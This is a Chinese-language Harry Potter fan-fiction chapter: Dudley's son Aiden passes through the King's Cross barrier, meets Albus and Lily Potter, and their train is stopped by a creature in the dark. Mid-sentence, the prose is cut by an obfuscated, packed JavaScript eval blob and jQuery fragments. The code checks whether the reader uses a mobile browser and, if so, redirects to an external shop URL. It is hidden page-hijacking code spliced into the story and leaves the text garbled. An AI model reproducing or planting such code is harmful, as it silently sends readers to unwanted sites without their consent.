第四章九又四分之三站台
女贞路4号客厅的壁炉上方，挂钟的滴答声在八月最后的夜晚变得异常响亮。
艾登躺在床上，盯着天花板。
行李箱已经收拾好——黑色皮箱，二手店买的，达力用砂纸磨掉了前主人的名字缩写，又亲手用黑色记号笔描了“A.D.”。
里面整齐叠放着三套黑色长袍、一打衬衫、几件毛衣、还有佩妮缝制的那些内衣，领口内侧的几何图案在黑暗中发出微弱的银光。
魔杖放在枕头下。
艾登整夜都能感觉到它的脉动，像一颗沉睡的心脏，每隔十七秒轻轻震颤一次。
西奥的笼子立在书桌上，猫头鹰琥珀色的眼睛在夜色中像两盏小灯，它偶尔转动脑袋，羽毛摩擦发出沙沙声。
楼下传来脚步声。
不是达力平常沉重的踱步，而是缓慢的、犹豫的步伐，从客厅走到厨房，停顿，再走回来。
艾登数着：第十七趟时，脚步声停在楼梯口。
又一段漫长的沉默，然后楼梯吱呀作响——达力上来了。
艾登闭上眼睛，假装睡着。
门被轻轻推开，门轴发出细小的呻吟。达力站在门口，呼吸粗重。
艾登透过睫毛看见父亲模糊的轮廓：他穿着旧睡衣，手里拿着什么东西，在月光下微微反光。
一分钟后，达力退出去，轻轻带上门。
艾登睁开眼，坐起来。
床头柜上多了一个东西：那枚1979年的五十便士硬币，边缘刻着“D+P”。但旁边还有另一样——佩妮留给他的那根羽毛，棕褐色带金斑，此刻被小心地装进一个透明的小玻璃管里，用软木塞封着。
玻璃管下面压着一张便条：
戴在脖子上。别问为什么。
字迹是达力的，潦草、笨拙，每个字母都像用尽全力刻出来的。
艾登拿起玻璃管。
羽毛在管内发出温暖的光，金色斑点缓慢旋转，像微型的星系。
他找到一根旧皮绳，把玻璃管穿上，戴在脖子上。
羽毛贴近皮肤的瞬间，那种温暖的脉动与魔杖的震颤同步了——十七秒一次，精确得像钟摆。
窗外的天空开始泛白。
早餐是达力做的：煎糊的鸡蛋，烤焦的面包，煮过头的茶。
两人隔着厨房餐桌沉默地吃着，刀叉碰撞瓷盘的声音异常刺耳。
电视开着，早间新闻在报道苏格兰某地的异常天气现象——“霍格莫德村附近出现罕见极光，气象学家无法解释。”
“要下雨，”达力突然说，眼睛盯着窗外灰蒙蒙的天空，“带上雨衣。行李箱侧袋。”
“好。”
又是一阵沉默。达力喝了一口茶，烫得皱眉，但没说话。
“爸爸，”艾登放下叉子，“那个木盒……你打开了吗？”
达力的手指收紧，茶杯在掌心发出轻微的咯吱声。“打开了，”他最终说，声音平淡得像在报告天气，“是你奶奶的东西。一些……旧照片。她的日记。还有这个。”
他从睡衣口袋掏出一个小物件，放在桌上。
那是一枚银色的胸针，形状是一朵百合花，花瓣上镶着细小的珍珠，已经微微发黄。
“她结婚那天戴的，”达力盯着胸针，“我从来没见过。她一定是……藏起来了。”
“为什么？”
达力抬起头，眼睛里有艾登从未见过的神情——不是愤怒，不是恐惧，而是一种深沉的、几乎令人心碎的困惑。
“因为她嫁给了一个讨厌魔法的人，”他轻声说，“因为她选择成为佩妮·德思礼，而不是佩妮·伊万斯。这枚胸针……是莉莉送给她的结婚礼物。麻瓜不可能做出这种珍珠——它们会自己调节光泽，永远明亮。”
他拿起胸针，指尖抚过花瓣：“我爸爸一定不知道这是什么。如果他知道，会让她扔掉。所以她藏起来，藏了一辈子。”
窗外传来鸟鸣。西奥在楼上的笼子里回应了一声，低沉而柔和。
“时间到了，”达力站起来，动作有些僵硬，“火车11点开。伦敦的交通……你知道的。”
他们像执行某种仪式般准备出发：达力换上最好的西装（同一件，熨烫过了），艾登穿上麻瓜衣服——牛仔裤、衬衫、毛衣——外面套着黑色长袍感觉很奇怪，像穿着万圣节服装去上学。
行李箱很重，达力坚持要自己提下楼，尽管他下台阶时气喘吁吁，额头上渗出汗水。
“猫头鹰笼子给我，”艾登说。
“不，我可以——”
“给我。”
达力犹豫了一下，把西奥的笼子递过去。
猫头鹰安静地看着他们，琥珀色的眼睛一眨不眨。
车程漫长而沉默。M25高速公路上车流如织，达力紧握方向盘，指节发白。
收音机调到了古典音乐频道，但声音开得很低，柴可夫斯基的弦乐像背景里呜咽的风。
艾登看着窗外飞逝的风景：郊区的房子，工业区的仓库，农田，更多的房子。
他想，这些地方下面有没有隐藏着更多的破釜酒吧？更多的对角巷？麻瓜世界和魔法世界像两幅叠加的透明画，大多数人只能看见其中一幅。
“我查过了，”达力突然说，眼睛盯着路面，“国王十字车站。9号和10站台之间。网上有人说那里什么都没有，只是一堵墙。也有人说……他们看见人消失。”
“哈利说——”
“我知道哈利说了什么。”达力打断他，但没有愤怒，“我只是……我需要确认。昨晚我去了。”
艾登转过头：“什么？”
“凌晨三点，”达力声音平静，“我开车去了伦敦。车站那时候只有清洁工和流浪汉。我走到9号和10站台之间，站在那里，盯着那堵墙看了二十分钟。”
他的喉咙滚动了一下。
“什么也没发生。当然，什么也没发生。我只是个麻瓜，一个肥胖的、中年的、穿西装的麻瓜，站在一堵砖墙前像个疯子。但然后……清洁工推着车过来。一个老头，牙齿都快掉光了。
他看着我说：‘第一次送孩子？’”
艾登屏住呼吸。
“我说：‘你怎么知道？’他笑了，露出缺牙的牙龈：‘你们这些人，都一个表情。既希望它是真的，又希望它是假的。’然后他推着车走了，一边走一边哼歌。调子很奇怪……我后来才想起来，是你奶奶有时会哼的曲子。”
达力伸手关掉了收音机。车内突然寂静，只有引擎的嗡鸣和轮胎摩擦路面的声音。
“我想，”他缓慢地说，像每个字都需要从深处挖掘出来，“我想你奶奶可能……回去过。在她还年轻的时候。回去看过那堵墙。也许她试过穿过去，也许她只是站在那里。我不知道。我永远不会知道了。”
他转过头，飞快地瞥了艾登一眼。
“但你会知道。你会穿过那堵墙，去到另一边。而我会站在这里，看着墙，永远不知道墙后面有什么。”
“你可以一起来，”艾登说，尽管他知道答案。
达力摇了摇头，笑容苦涩：“不。那是你的世界，不是我的。我的世界在这里：红绿灯，税务报表，超市特价，还有假装一切正常直到你真的相信它正常。”
他指了指后视镜上挂着的平安符，那是佩妮很多年前从教堂拿回来的，塑料已经开裂。
“这就是我能给你的全部了，”他说，“一个站在墙这边等你回来的父亲。”
艾登看向窗外，因为眼泪突然涌上来，而他不想让父亲看见。他想起佩妮信里的话：原谅他需要时间，也原谅我从未有勇气告诉他真相。
车子驶入伦敦时，开始下雨。不是瓢泼大雨，而是细密的、持续的雨丝，在车窗上划出无数道交织的水痕。
城市在雨幕中变得模糊，像一幅未完成的油画。
国王十字车站比艾登想象中更大、更嘈杂。
空气里混合着柴油、咖啡、湿羊毛和上百种香水的气味。
广播在播报到站和发车信息，声音在巨大的穹顶下回荡。
人们拖着行李箱奔跑，拥抱，告别，哭泣，大笑。
小孩在哭闹，情侣在争吵，商人在打电话。一切都在运动，都在声音，都在生活。
达力停好车，两人拖着行李走进车站。
艾登穿着黑色长袍——现在他明白为什么巫师在麻瓜世界要穿长袍了，因为在这样混乱的人群中，他看起来就像一个古怪的戏剧学生，没人多看他一眼。西奥的笼子被一块布盖着，这是哈利的建议：“麻瓜会觉得里面是宠物鹦鹉，别掀开布。”
他们找到了9号和10站台。
在两座维多利亚式的铸铁站台拱门之间，确实只有一堵普通的砖墙。墙前放着几盆半死不活的绿植，一张长椅上坐着个打瞌睡的老妇人，脚边堆着购物袋。一切正常得令人失望。
“现在怎么办？”达力低声问，眼睛扫视周围，像在寻找隐藏的摄像机。
艾登没说话。他在观察。
他看见一个红头发家庭——至少有六个孩子，都长着雀斑，吵吵嚷嚷地推着堆满箱子的手推车。
母亲（头发也是红色，但已经开始灰白）正试图阻止双胞胎把巧克力蛙塞进婴儿车里。他们径直走向9号和10站台之间的墙，没有减速。
然后他们消失了。
不是“噗”的一声消失，而是像走入浓雾般逐渐隐去。
首先是手推车的前轮接触墙壁，接着是整个手推车，然后是推车的人。
最后一个红头发男孩——看起来和艾登差不多大——在消失前回头看了一眼，正好与艾登视线相遇。
他眨了眨眼，咧嘴一笑，竖起大拇指，然后他也融入了砖墙。
“你看见——”达力声音发紧。
“看见了。”
接下来是一对优雅的亚洲夫妇，穿着剪裁完美的长袍，推着一个静音悬浮的行李箱（麻瓜们似乎都绕开了它）。他们平静地走向墙壁，像走向一扇普通的门，消失了。
然后是一个独行的女孩，深色卷发，抱着一本厚得可怕的书。她在墙前停顿了一下，深吸一口气，闭上眼睛走了进去。
“就这样？”达力说，听起来既失望又释然，“就这样走进去？”
“看起来是的。”
更多的巫师家庭出现了。艾登开始认出一些特征：过于华丽的羽毛饰品（会自己整理羽毛），颜色不可能自然存在的头发（一个女人的头发从发根到发梢逐渐从紫色过渡到金色），还有宠物——不只有猫头鹰，还有装在玻璃球里的微型火龙（喷出真实的、但微小的火焰），一只会隐形的猫（只在舔爪子时显形片刻）。
“该你了，”达力说，声音突然变得异常平静。
艾登转向父亲。达力站在那儿，西装被雨浸湿了肩膀，头发贴在额头上，手里紧握着车钥匙。他的眼睛看着艾登，又似乎透过艾登，看着某个更远的东西。
“爸爸——”
“不，”达力摇头，“别说。什么也别说。”
他把手伸进口袋，掏出那枚五十便士硬币，塞进艾登手里：“给你。万一……万一他们的货币不好用。”
硬币很凉，但艾登握紧它时，感觉到金属迅速吸收了体温，变得温暖。
达力又拿出一个东西：一个廉价的塑料相机，旅游纪念品那种。
“你妈妈买的，”他简短地说，“从来没好好用过。我想……拍张照。在墙前。”
艾登点点头。达力把相机递给一个路过的大学生模样的人：“能帮我们拍张照吗？就在这里。”
大学生接过相机，疑惑地看了看背景（一堵砖墙）：“这里？”
“对，就这里。”
达力走到艾登身边，手臂僵硬地环住他的肩膀。艾登感觉到父亲在颤抖——不是恐惧的颤抖，而是某种更深的、内在的震颤，像一座建筑在地基深处发生的震动。
“一、二、三——”
闪光灯亮了。那一刻，艾登看见相机镜头反射出他们身后的墙：在那一瞬间的强光中，砖墙变得透明，他能看见墙后面的景象——一个拥挤的站台，蒸汽火车喷出白色烟雾，无数人影在移动，猫头鹰在飞。
然后闪光熄灭，墙又变回了砖墙。
“谢谢，”达力拿回相机，声音粗哑。大学生困惑地走开了，边走边回头看那堵墙。
现在真的没有理由再拖延了。
艾登调整了一下肩上的背包，左手推着行李箱，右手提着西奥的笼子。他走向墙壁，步伐不快不慢。他想起哈利的话：“表现得像你属于那儿，你就属于那儿。”
离墙还有五米。
他能看见砖块上的每一道裂缝，每一片苔藓，每一处风化的痕迹。
三米。
他听见身后达力压抑的呼吸声。
两米。
他握紧行李箱把手，手心的汗水让皮革变得湿滑。
一米。
他闭上眼睛。
不是出于恐惧，而是他想用佩妮教的方式观察：不只用眼睛，用皮肤，用骨头，用血液里的那些针。
在眼皮的黑暗中，他“看见”了墙的频率。
那是砖石的低语，石灰砂浆的呼吸，百年积尘的沉睡。
但在这之下，更深的地方，有一条裂缝——不是物理的裂缝，是现实本身的裂缝。
它以一种特定的节奏脉动：短-长-短-短-长。
和他敲开阁楼砖块的节奏一样。
佩妮的节奏。
艾登迈出最后一步。
撞击的瞬间，他没有感觉到坚硬的砖石，而是穿过了一层温暖致密的介质，像潜入温水深处。
压力从四面八方涌来，包裹他的身体，挤压他的肺。他听见声音——不是外界的声音，是身体内部的声音：血液在耳中冲刷，心脏在胸腔里擂鼓，骨头在轻微作响。
然后压力消失。
他睁开眼。
九又四分之三站台。
首先涌入感官的是声音：蒸汽火车头低沉的嘶鸣，人群嘈杂的交谈，猫头鹰此起彼伏的鸣叫，还有远处某个地方传来魔法收音机的音乐——古怪的、用古怪乐器演奏的爵士乐。
然后是气味：煤炭燃烧的烟味，新鲜油漆，糕点店的甜香，以及那种独特的、只有魔法大量聚集时才会产生的臭氧味。
站台拥挤得不可思议。
成百上千的巫师，穿着各色长袍，有些款式古老得像是从中世纪油画里走出来的。孩子们拖着行李箱奔跑，宠物到处乱窜（一只嗅嗅正试图钻进一位女巫的手提包，被她用魔杖轻轻敲了敲鼻子）。
家长们站在车厢旁，做着最后的叮嘱。
火车本身是深红色的，车身上用金色字体写着“霍格沃茨特快”。蒸汽从车头喷出，在站台顶棚下凝聚成翻滚的云。车窗里已经能看到学生的面孔，有些兴奋地挥手，有些忧郁地看着窗外。
艾登站着，呼吸着这个新世界的空气。他的皮肤在嗡鸣——不是针的感觉，而是整个表面都在轻微震动，像在响应周围密集的魔法能量。脖子上的羽毛玻璃管变得温暖，魔杖在背包里脉动。
“嘿！小心！”
一个身影撞上他的肩膀，差点把他撞倒。
是个红头发女孩——和刚才消失的那个家庭中的某个孩子很像，但年龄大些，大概十三四岁。她扶住他，咧嘴笑了，露出牙齿矫正器。
“抱歉！我弟弟的蒲绒绒跑了，我在追——哦，你是一年级新生？”
艾登点点头，还无法说话。
“别紧张，”女孩拍拍他的肩，力气大得让他踉跄了一下，“霍格沃茨很棒。我是露西·韦斯莱，二年级。你是……等等，你看起来有点眼熟。”
她的眼睛盯着他的脸，然后突然睁大：“你不是——哈利·波特的孩子，对吧？但阿不思我认识，莉莉才一年级，詹姆斯已经——”
“我是他表侄，”艾登终于找到声音，“艾登·德思礼。”
“德思礼？”露西重复，然后恍然大悟，“哦！你是达力的儿子！我奶奶提起过——她说达力叔叔小时候差点被变成猪——呃，抱歉，不该说这个。”
她脸红了，但笑容没减：“总之，欢迎！车厢快满了，你最好快点上车。看，那边还有空位——”
她指向列车中部的一节车厢，窗口有个戴眼镜的男孩正在看书。
“谢谢，”艾登说。
“不客气！也许我们会分到同一个学院——我是格兰芬多，最好的学院！不过赫奇帕奇和拉文克劳也不错。斯莱特林……嗯，现在比以前好多了，真的。”
她挥手跑开，继续追那只逃跑的蒲绒绒（一种毛茸茸的、圆球状的生物，正滚向零食车）。
艾登推着行李箱走向火车。轮子在鹅卵石上颠簸。
经过一群斯莱特林学生时（他能从银绿色围巾认出来），他们停下来交谈，其中一个高个子男孩瞥了他一眼，眼神评估，然后转回去继续说话。
在车厢门口，一个穿深蓝色长袍的男巫正在检查票：“车票，请。”
艾登在口袋里摸索
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17033031|194565||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，找到哈利寄来的那张泛黄的羊皮纸车票。
男巫看了一眼，点点头：“新生？行李放车厢末端，宠物可以带进车厢。
注意，如果猫头鹰排泄在座位上，清理咒念清楚点，否则可能把整个座位变没。”
车厢内部比外面看起来更宽敞。深红色的天鹅绒座椅，木质镶板，铜质灯具发出柔和的光。
空气中混合着皮革、木蜡和旧书的味道。艾登找到露西指的那节车厢——窗口的男孩还坐在那儿，但现在他没在看书，而是看着站台，表情有些忧郁。
艾登敲了敲开着的门。
男孩转过头。他瘦削，黑发，戴着圆眼镜，但眼镜款式比哈利的现代。最引人注目的是他的眼睛——明亮的绿色，和哈利一模一样。
但眼神不同：哈利的眼神是警觉的、随时准备战斗的；
这男孩的眼神是好奇的、带着些许不安的。
“嗨，”男孩说，“这里没人，你可以坐。”
艾登把行李箱推进行李架，西奥的笼子放在座位上。他在男孩对面坐下。
“我叫艾登，”他说。
男孩点点头：“阿不思·西弗勒斯·波特。”
沉默。蒸汽火车鸣笛，尖锐的声音划过站台。列车轻轻震动，准备出发。
“我知道你是谁，”阿不思突然说，眼睛看着窗外的站台，没有看艾登，“爸爸告诉我你会来。他说……他说你爸爸是他表哥。”
“是的。”
“他说你们很多年没见了。”
“是的。”
又是一阵沉默。阿不思的手指在膝盖上敲打，节奏不规则。
“我爸爸也很多年没见他，”阿不思说，声音很轻，“他说每次想到你爸爸，就想起他小时候。他说……那不是很愉快的回忆。”
艾登不知道该怎么回答。他看向窗外，站台上，家长们在做最后的告别。一个红头发女人（一定是阿不思的母亲金妮）正蹲着对一个红发小女孩说话，为她整理围巾。哈利站在旁边，手搭在另一个男孩肩上（那一定是詹姆斯）。他们在笑。
然后哈利抬起头，目光穿过人群，找到了这节车厢。他看见艾登，点点头。然后他的目光转向阿不思，表情变得柔和，挥了挥手。
阿不思没有挥手回应。他只是看着父亲，然后转开视线。
“有时候，”阿不思说，声音轻得几乎被站台的喧嚣淹没，“我觉得我爸爸希望我能更像他。勇敢，出名，被所有人认识。但我不想。我只想……安静地读完七年书，不要发生任何大事。”
列车猛地一抖，开始缓慢移动。站台向后滑去。
家长们挥着手，一些年幼的弟妹在哭。艾登看见达力——他还在墙的那一边吗？还是已经回到车上，在雨中开车回家？他会打开那个木盒吗？会看佩妮的日记吗？会明白母亲曾是怎样的一个人吗？
阿不思也看着窗外，但他的目光没有焦点。
“你会被分到哪个学院？”艾登问，只是为了打破沉默。
“不知道，”阿不思说，“我爸爸是格兰芬多，妈妈也是。我哥哥詹姆斯也是。所有人都觉得我也会是。但……”
他没说完。
列车加速，驶出车站，进入伦敦郊区的景色。雨还在下，在车窗上划出斜斜的水痕。城市逐渐被田野取代。
“你害怕吗？”阿不思突然问。
艾登想了想：“是的。但不是怕魔法。是怕……不知道该怎么成为我自己。”
阿不思看着他，绿色的眼睛在镜片后显得很大。然后他微微笑了——这是艾登第一次看到他真正的微笑，有些害羞，但真实。
“我也是，”他说。
他们安静地坐着，听着车轮在铁轨上有节奏的撞击声。西奥在笼子里动了动，发出轻柔的咕咕声。艾登把手伸进口袋，摸到那枚五十便士硬币。金属已经变得温暖，像握着一小块阳光。
车厢门滑开，一个红发女孩探进头来——莉莉·卢娜·波特，眼睛和哈利一样绿，但眼神完全不同：明亮、好奇、毫无保留。
“阿不思！妈妈说让我找到你——”她看见艾登，停下来，“哦，嗨！你是新生吗？我是莉莉。你叫什么？”
“艾登。”
“艾登，”她重复，走进车厢，毫不客气地在阿不思旁边坐下，“你看起来有点眼熟。我们见过吗？”
“我是你爸爸的表侄。”
莉莉睁大眼睛：“哦！你就是达力表伯的儿子！爸爸说你可能会来。你被分到哪个学院了？”
“还没分院。”
“噢，对，火车上还没分呢，”莉莉笑了，声音清脆，“我希望是格兰芬多，但妈妈说拉文克劳也不错。爸爸说去哪里都好，只要不是斯莱特林——他是开玩笑的，我觉得。”
阿不思看了她一眼，没说话。
莉莉转向艾登，身体前倾：“你爸爸真的是麻瓜吗？完全的麻瓜？”
“莉莉，”阿不思警告道。
“怎么了？我只是好奇！”
“是的，”艾登说，“他是麻瓜。”
“哇，”莉莉说，没有恶意，只有纯粹的好奇，“那第一次看到魔法是什么感觉？是不是超级震惊？我三岁就看到爸爸用魔法修玩具，所以我觉得很正常，但我想对于麻瓜来说一定很——”
火车突然剧烈颠簸。灯光闪烁了一下。远处传来一声闷响，像什么东西重重撞在车身上。
“怎么回事？”莉莉站起来。
阿不思走到窗边，擦掉玻璃上的雾气，向外看：“不知道。外面很黑，雨太大了。”
又是一次颠簸，这次更猛烈。
行李箱从行李架上滑落，西奥的笼子翻倒，猫头鹰发出惊恐的叫声。远处车厢传来尖叫。
然后灯光全灭了。
黑暗笼罩了车厢，只有窗外偶尔闪过的路灯投来短暂的光影。雨点疯狂敲打车窗，风声呼啸。
“呆在这里，”阿不思说，声音紧绷。他抽出魔杖——艾登第一次看见他的魔杖，深色，简单——“Lumos.”
魔杖尖端亮起稳定的白光，照亮了车厢。三个人的脸在光影中显得苍白。
走廊里传来奔跑的脚步声，有人在大声下达指令。列车还在前进，但速度明显慢了下来。
“是摄魂怪吗？”莉莉小声问，抓住阿不思的袖子。
“摄魂怪很多年前就被撤走了，”阿不思说，但声音不确定，“可能是天气原因。或者……”
他没说完。但艾登知道他在想什么：或者是一些不应该在这里的东西。
艾登的手伸向背包，握住自己的魔杖。木头温暖地回应他的触碰。他脖子上的羽毛玻璃管变得异常温热，几乎烫人。
列车完全停下了。
在绝对的寂静中，只有雨声和风声。然后，从很远的地方，传来一声悠长的、非人的嚎叫。
那不是动物的声音。
也不是人类的声音。
那是某种古老的东西，某种在魔法诞生之前就存在的东西，某种观察着、等待着、从不忘记的东西。
嚎叫声再次响起，这次更近了。
阿不思的魔杖光在颤抖。
莉莉的呼吸变得急促。
艾登握紧魔杖，感觉到冷杉木内部的独角兽毛在搏动，急促而警觉。
保护者不需要锋芒毕露，只需要站稳脚跟。
他站起来，走到车厢门前，向外看去。
走廊里一片漆黑，只有远处几处魔杖的光点在摇晃。
学生们挤在车厢里，低声交谈，声音里充满恐惧。
然后，在列车最前端的某处，一道银白色的光芒炸开——那是守护神咒，艾登凭直觉知道。
光芒短暂地照亮了整个列车：他看见学生们惊恐的脸，看见飘浮在空中的行李箱，看见车厢壁上突然出现的冰霜。
光芒熄灭。
嚎叫声变成了低沉的、满足的咕噜声，就在他们这节车厢外面。
有什么东西在敲打车窗。
不是雨点。
是指甲。
或者说，像指甲的东西。
缓慢地，一下，一下，刮擦着玻璃。
艾登转过身，面对阿不思和莉莉，魔杖在手，心脏狂跳，但声音异常平静：
“不管外面是什么，别开门。别开窗。别回应。”
车窗外，那个东西停在了他们的窗前。
在下一道闪电的光芒中，艾登看见了它的一只眼睛。
黄色，竖瞳，充满饥饿。
然后黑暗重新降临。